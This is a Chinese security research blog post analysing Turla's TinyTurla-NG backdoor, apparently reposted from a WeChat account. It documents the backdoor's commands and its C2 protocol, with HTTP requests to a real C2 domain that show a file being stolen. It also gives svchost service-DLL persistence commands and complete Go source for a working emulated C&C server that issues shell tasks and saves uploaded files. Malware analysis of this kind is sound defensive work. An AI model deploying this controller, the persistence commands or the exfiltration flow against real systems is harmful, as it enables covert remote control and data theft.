文章首发地址:
https://xz.aliyun.com/t/13882
文章首发作者:
T0daySeeker
概述
在上一篇《逆向开发Turla组织TinyTurla后门控制端》文章中,笔者先从TinyTurla后门入手,对TinyTurla后门开展了相关研究分析工作,通过对TinyTurla后门的通信模型进行详细的剖析,模拟构建了TinyTurla后门的控制端。
因此,在本篇文章中,笔者将按照上一篇文章的研究思路,尝试对思科Talos团队《TinyTurla Next Generation – Turla APT spies on Polish NGOs》( https://blog.talosintelligence.com/tinyturla-next-generation/ )报告中提到的Turla组织使用的新后门(TinyTurla-NG)进行研究分析,并从如下角度开展研究工作:
-
TinyTurla-NG新后门与TinyTurla后门的植入方式相同,均是以服务DLL的形式出现,并且均是通过svchost.exe启动,因此先尝试对TinyTurla-NG新后门的运行场景进行复现; -
TinyTurla-NG新后门的功能代码较TinyTurla后门复杂一些,通过对TinyTurla-NG新后门开展逆向分析工作,对其样本功能及运行逻辑进行详细剖析梳理; -
通过动态调试,研究分析TinyTurla-NG新后门的通信模型; -
尝试构建TinyTurla-NG新后门C&C站点,模拟复现TinyTurla-NG新后门的远程控制行为及恶意流量。
相关报告截图如下:
新后门C&C站点效果
通过构建TinyTurla-NG新后门C&C站点程序,我们可模拟实现TinyTurla-NG新后门的使用场景。
C&C站点程序启用后,我们可正常访问其WEB服务,相关截图如下:
TinyTurla-NG新后门上线后,即可开展正常的远控行为,相关截图如下:
通信过程中C&C站点中内置的远控指令如下:
通信过程中C&C站点记录的远控指令响应结果如下:
通信过程中C&C站点对窃取的文件内容进行保存,相关截图如下:
通信过程中产生的http通信数据包截图如下:(「将TinyTurla-NG新后门文件中的内置https外联URL修改为http外联URL即可实现对HTTP站点的访问」)
相关操作命令如下:
F:GolandProjectsawesomeProject3>awesomeProject3.exe
[GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.
[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
- using env: export GIN_MODE=release
- using code: gin.SetMode(gin.ReleaseMode)
307b5c9a Client Ready
[GIN] 2024/02/26 - 13:43:15 |[97;42m 200 [0m| 1.0621ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:25 |[97;42m 200 [0m| 1.686ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:35 |[97;42m 200 [0m| 2.0395ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a [+] ShortTimer and FailCounter changed. New ShortTimer is 1 minute & New FailCounter is 1
[GIN] 2024/02/26 - 13:43:36 |[97;42m 200 [0m| 1.5504ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:42 |[97;42m 200 [0m| 1.8533ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:Windowssystem32>chcp 437 > NUL
C:Windowssystem32>ipconfig
Windows IP Configuration
Ethernet adapter Bluetooth ��������:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter ��������:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::5c38:ccd5:e424:fdfc%11
IPv4 Address. . . . . . . . . . . : 192.168.153.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Tunnel adapter isatap.{8B288427-3826-4FFD-BF89-490C950BBA8A}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter isatap.localdomain:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::5efe:192.168.153.130%15
Default Gateway . . . . . . . . . :
C:Windowssystem32>exit
[GIN] 2024/02/26 - 13:43:43 |[97;42m 200 [0m| 15.2158ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:43:50 |[97;42m 200 [0m| 2.0944ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:Windowssystem32>chcp 437 > NUL
C:Windowssystem32>calc.exe
C:Windowssystem32>exit
[GIN] 2024/02/26 - 13:43:53 |[97;42m 200 [0m| 1.0216ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:44:00 |[97;42m 200 [0m| 1.9848ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:Windowssystem32>chcp 437 > NUL
C:Windowssystem32>dir C:UsersadminDesktop
Volume in drive C has no label.
Volume Serial Number is DEA8-B705
Directory of C:UsersadminDesktop
2024/02/26 11:31 <DIR> .
2024/02/26 11:31 <DIR> ..
2024/02/22 23:13 507 111.txt
2011/09/29 09:22 32,256 apateDNS.exe
2019/01/23 23:23 45,272 nc64.exe
2023/11/27 14:41 2,182 Process Hacker 2.lnk
2023/11/27 14:39 <DIR> snapshot_2023-11-18_02-28
2023/11/27 14:40 1,315 x96dbg.exe - ????.lnk
15 File(s) 14,600,939 bytes
4 Dir(s) 49,213,665,280 bytes free
C:Windowssystem32>exit
[GIN] 2024/02/26 - 13:44:00 |[97;42m 200 [0m| 1.9138ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:44:06 |[97;42m 200 [0m| 652.7µs | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
[GIN] 2024/02/26 - 13:44:06 |[97;42m 200 [0m| 521µs | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
[GIN] 2024/02/26 - 13:44:08 |[97;42m 200 [0m| 3.0731ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a [+] File C:UsersadminDesktop111.txt posted
[GIN] 2024/02/26 - 13:44:08 |[97;42m 200 [0m| 1.4707ms | 192.168.153.130 |[97;46m POST [0m "/wp-includes/blocks/rss.old.php"
307b5c9a
新后门运行场景复现
根据报告中的描述,TinyTurla-NG新后门与TinyTurla后门的植入方式相同,均是以服务DLL的形式出现,并且均是通过svchost.exe启动。因此,为了能够快速对TinyTurla-NG新后门的运行场景进行复现,我们可以模仿《逆向开发Turla组织TinyTurla后门控制端》文章中针对TinyTurla后门的运行场景复现方法,对TinyTurla-NG新后门的运行场景进行复现。
先将TinyTurla-NG新后门重命名为w64time.dll,然后在cmd中执行如下指令,即可对TinyTurla-NG新后门的运行场景进行有效复现:
copy "w64time.dll" %systemroot%system32
sc create W64Time binPath= "c:WindowsSystem32svchost.exe -k TimeService" type= share start= auto
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in the network"
reg add "HKLMSoftwareMicrosoftWindows NTCurrentVersionSvchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
reg add "HKLMSYSTEMCurrentControlSetServicesW64TimeParameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%system32w64time.dll" /f
sc start W64Time
相关执行效果截图如下:
样本功能分析
通过对TinyTurla-NG新后门进行逆向分析,梳理TinyTurla-NG新后门运行逻辑如下:
-
服务成功启动后,将调用ServiceMain函数,在ServiceMain函数中,将调用beginthreadex函数创建主感染线程; -
在主感染线程中,样本将创建两个线程: -
第一个线程主要用于向C&C发起网络通信; -
第二个线程主要用于对第一个线程中接收的远控命令进行执行;
创建主感染线程
服务成功启动后,样本将调用ServiceMain函数。在ServiceMain函数中,样本将通过调用beginthreadex函数来创建主感染线程。beginthreadex函数的第四个函数参数为线程入口函数参数,在此样本中传入的是一个结构体,最后通过在入口函数中调用结构体中的函数地址以实现线程执行。
相关代码截图如下:
初始化配置结构体
进入主感染线程后,样本将执行一系列初始化操作,对后续代码执行过程中所需的配置信息进行初始化。
相关代码截图如下:
检测powershell版本及windows版本
在开始远控功能时,样本还将尝试获取powershell版本及windows版本信息,若powershell版本大于等于5,则后续将调用powershell用于执行远控shell指令。
相关代码截图如下:
线程一
线程一主要用于向C&C发起网络通信,发起网络通信使用的API为WINHTTP,相关代码截图如下:
线程二
线程二主要用于对第一个线程中接收的远控命令进行执行,相关代码截图如下:
远控指令
通过分析,发现TinyTurla-NG新后门支持多个远控指令,远控指令外的命令将以shell方式进行执行。
特殊指令如下:
指令 | 备注 |
---|---|
changepoint | 检索在受感染端点上执行命令的结果 |
timeout | 重新配置后门向C&C发起任务请求的间隔休眠时间 |
changeshell | 切换执行shell的方式,在powershell与cmd之间切换 |
get | 从C&C处获取文件并保存 |
post | 上传文件至C&C处 |
killme | 删除文件 |
执行shell命令
相关代码截图如下:
timeout指令
相关代码截图如下:
post指令
相关代码截图如下:
killme指令
相关代码截图如下:
外联地址
通过分析,发现TinyTurla-NG新后门的外联地址是以明文形式存放于样本文件中的,相关截图如下:
C&C思考
通过对TinyTurla-NG新后门进行逆向分析,我们发现此样本的C&C地址为WEB服务网站。
结合思科报告中关于C&C的描述,我们发现TinyTurla-NG新后门的部分C&C地址存在文件路径泄露,相关截图如下:
基于文件路径泄露信息,我们得知在C&C上存在多个日志文件,若能够获取相关日志文件,我们即可更进一步的了解整个攻击活动的情况:
-
基于文件路径泄露信息,我们可通过空间测绘平台或直接扫描探测,挖掘扩线TinyTurla-NG新后门的C&C地址; -
基于log.txt文件内容,我们可获取所有受控IP信息; -
基于tasks.txt、result.txt文件内容,我们可复现还原攻击者在攻击活动中的所有窃密行为;
后门通信模型分析
通过对TinyTurla-NG新后门通信模型进行分析,发现TinyTurla-NG新后门的HTTP请求主要分为如下情况:
-
POST请求中,表单数据名称为”result”:主要用于发送上线认证信标及命令执行后的响应数据; -
POST请求中,表单数据名称为”gettask”:主要用于请求获取远控指令; -
POST请求中,表单数据名称为”file”:主要用于发送文件内容; -
POST响应请求中,实际远控指令前需要携带“rsp:”字符串;
相关截图如下:
上线认证
通过分析,发现TinyTurla-NG新后门运行后,将首先发送上线认证数据,便于C&C对受控主机的远控行为数据进行管理。在上线认证通信中,后门将发送“Client Ready”字符串作为信标进行发送。
详细情况如下:
#**********TinyTurla-NG新后门 -> C&C站点**********
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 190
Host: jeepcarlease.com
---
Content-Disposition: form-data;name="id"
Content-Type: text/plain
307b5c9a
---
Content-Disposition: form-data;name="result"
Content-Type: text/plain
Client Ready
-----
....
#**********C&C站点 -> TinyTurla-NG新后门**********
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:35:54 GMT
Content-Length: 4
rsp:
远控功能
通过分析,发现TinyTurla-NG新后门支持多种远控指令,通信模型结构主要有两种类型:
-
远控指令为除上传文件、下载文件外的常规指令; -
远控指令为上传文件、下载文件类指令;
常规指令
常规指令的通信模型情况如下:
#**********TinyTurla-NG新后门 -> C&C站点**********
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 175
Host: jeepcarlease.com
---
Content-Disposition: form-data;name="id"
Content-Type: text/plain
307b5c9a
---
Content-Disposition: form-data;name="gettask"
Content-Type: text/plain
-----
.a
#**********C&C站点 -> TinyTurla-NG新后门**********
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:01 GMT
Content-Length: 15
rsp:timeout 1 1
#**********TinyTurla-NG新后门 -> C&C站点**********
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 267
Host: jeepcarlease.com
---
Content-Disposition: form-data;name="id"
Content-Type: text/plain
307b5c9a
---
Content-Disposition: form-data;name="result"
Content-Type: text/plain
[+] ShortTimer and FailCounter changed. New ShortTimer is 1 minute & New FailCounter is 1
-----
....
#**********C&C站点 -> TinyTurla-NG新后门**********
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:10 GMT
Content-Length: 4
rsp:
上传文件、下载文件类指令
上传文件、下载文件类指令的通信模型情况如下:
#**********TinyTurla-NG新后门 -> C&C站点**********
#字符串形式:
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 175
Host: jeepcarlease.com
---
Content-Disposition: form-data;name="id"
Content-Type: text/plain
307b5c9a
---
Content-Disposition: form-data;name="gettask"
Content-Type: text/plain
-----
.
#**********C&C站点 -> TinyTurla-NG新后门**********
#字符串形式:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:36 GMT
Content-Length: 39
rsp:post C:UsersadminDesktop111.txt
#**********TinyTurla-NG新后门 -> C&C站点**********
#字符串形式:
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 738
Host: jeepcarlease.com
---
Content-Disposition: form-data;name="id"
Content-Type: text/plain
307b5c9a
---
Content-Disposition: form-data;name="file"; filename="111.txt"; filename*=utf-8''111.txt
Content-Type: application/octet-stream
package main
import (
"fmt"
"os"
)
func main() {
filePath := "test.txt"
// ..............................................
file, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0644)
if err != nil {
fmt.Println("............:", err)
return
}
defer file.Close()
// ........
content := "................n"
_, err = file.WriteString(content)
if err != nil {
fmt.Println("............:", err)
return
}
fmt.Println("....................")
}
-----
#**********C&C站点 -> TinyTurla-NG新后门**********
#字符串形式:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:40 GMT
Content-Length: 4
rsp:
#**********TinyTurla-NG新后门 -> C&C站点**********
#字符串形式:
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary="-"
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Content-Length: 225
Host: jeepcarlease.com
---
Content-Disposition: form-data;name="id"
Content-Type: text/plain
307b5c9a
---
Content-Disposition: form-data;name="result"
Content-Type: text/plain
[+] File C:UsersadminDesktop111.txt posted
-----
.
..
#**********C&C站点 -> TinyTurla-NG新后门**********
#字符串形式:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 26 Feb 2024 03:36:42 GMT
Content-Length: 4
rsp:
模拟构建C&C站点
在笔者模拟构建TinyTurla-NG新后门C&C站点的过程中,笔者最初准备尝试使用自签名证书构建一个HTTPS站点,但在实际构建过程中,笔者发现TinyTurla-NG新后门代码中并未像TinyTurla后门调用了WinHttpSetOption函数对证书错误信息进行忽略,因此,TinyTurla-NG新后门无法成功访问使用自签名证书构建的HTTPS站点。
通过实际访问TinyTurla-NG新后门的C&C站点,发现其C&C站点的证书信息确实是正常的证书信息,相关截图如下:
「由于笔者没有有效证书文件,因此笔者只能尝试模拟构建一个HTTP站点(将TinyTurla-NG新后门文件中的内置https外联URL修改为http外联URL即可实现对HTTP站点的访问),若大家感兴趣且手头有有效证书文件,可以尝试将代码修改为HTTPS站点。」
在这里,笔者将使用golang语言模拟构建TinyTurla-NG新后门C&C站点,详细情况如下:
代码结构如下:
-
tasks.txt
rsp:timeout 1 1
rsp:ipconfig
rsp:calc.exe
rsp:dir C:UsersadminDesktop
rsp:post C:UsersadminDesktop111.txt
rsp:whoami
-
main.go
package main
import (
"awesomeProject3/common"
"github.com/gin-gonic/gin"
"os"
)
func main() {
init_tasks()
r := gin.Default()
// 设置GIN模式为release模式
gin.SetMode(gin.ReleaseMode)
r.GET("/", common.HandleRoot)
r.POST("/wp-includes/blocks/rss.old.php", common.Handle_POST)
r.POST("/wordpress/wp-includes/rss.old.php", common.Handle_POST)
r.Run(":80")
}
func init_tasks() {
os.Remove("./conf/tmp.txt")
common.WriteFile("./conf/tmp.txt", "0")
}
-
common.go
package common
import (
"bufio"
"fmt"
"github.com/gin-gonic/gin"
"io"
"io/ioutil"
"os"
"strconv"
)
func HandleRoot(c *gin.Context) {
c.String(200, "Hello, World!")
}
func Handle_POST(c *gin.Context) {
str_id := c.PostForm("id")
str_result := c.PostForm("result")
file, header, _ := c.Request.FormFile("file")
fmt.Println(str_id, str_result)
if str_result != "" {
WriteFile_A("./conf/"+str_id+".txt", "**********output********rn"+str_result+"rn")
c.String(200, "rsp:")
} else if header != nil {
defer file.Close()
// 创建一个新文件
out, _ := os.Create("./conf/post_" + header.Filename)
defer out.Close()
// 将上传的文件内容拷贝到新文件中
_, _ = io.Copy(out, file)
c.String(200, "rsp:")
} else if str_result == "" {
str, _ := ReadFile("./conf/tmp.txt")
num, _ := strconv.Atoi(str)
strs := FileToSlice("./conf/tasks.txt")
if num+1 < len(strs) {
os.Remove("./conf/tmp.txt")
WriteFile("./conf/tmp.txt", strconv.Itoa(num+1))
c.String(200, strs[num])
} else {
c.String(200, "rsp:")
}
}
}
func FileToSlice(file string) []string {
fil, _ := os.Open(file)
defer fil.Close()
var lines []string
scanner := bufio.NewScanner(fil)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines
}
// ReadFile is used to read a given file and return its data as a string.
func ReadFile(filename string) (string, error) {
f, err := os.Open(filename)
if err != nil {
return "", err
}
defer f.Close()
b, err := ioutil.ReadAll(f)
if err != nil {
return "", err
}
return string(b), nil
}
// WriteFile is used to write data into a given file.
func WriteFile(filename, data string) error {
file, err := os.Create(filename)
if err != nil {
return err
}
defer file.Close()
_, err = io.WriteString(file, data)
if err != nil {
return err
}
return nil
}
func checkFileIsExist(filename string) bool {
var exist = true
if _, err := os.Stat(filename); os.IsNotExist(err) {
exist = false
}
return exist
}
func WriteFile_A(filename string, buffer string) {
var f *os.File
var err error
if checkFileIsExist(filename) {
f, err = os.OpenFile(filename, os.O_APPEND|os.O_WRONLY, os.ModeAppend)
} else {
f, err = os.Create(filename)
}
_, err = io.WriteString(f, buffer)
if err != nil {
fmt.Println(err.Error())
return
}
f.Close()
}
原文始发于微信公众号(T0daySeeker):逆向开发Turla组织TinyTurla-NG新后门C&C站点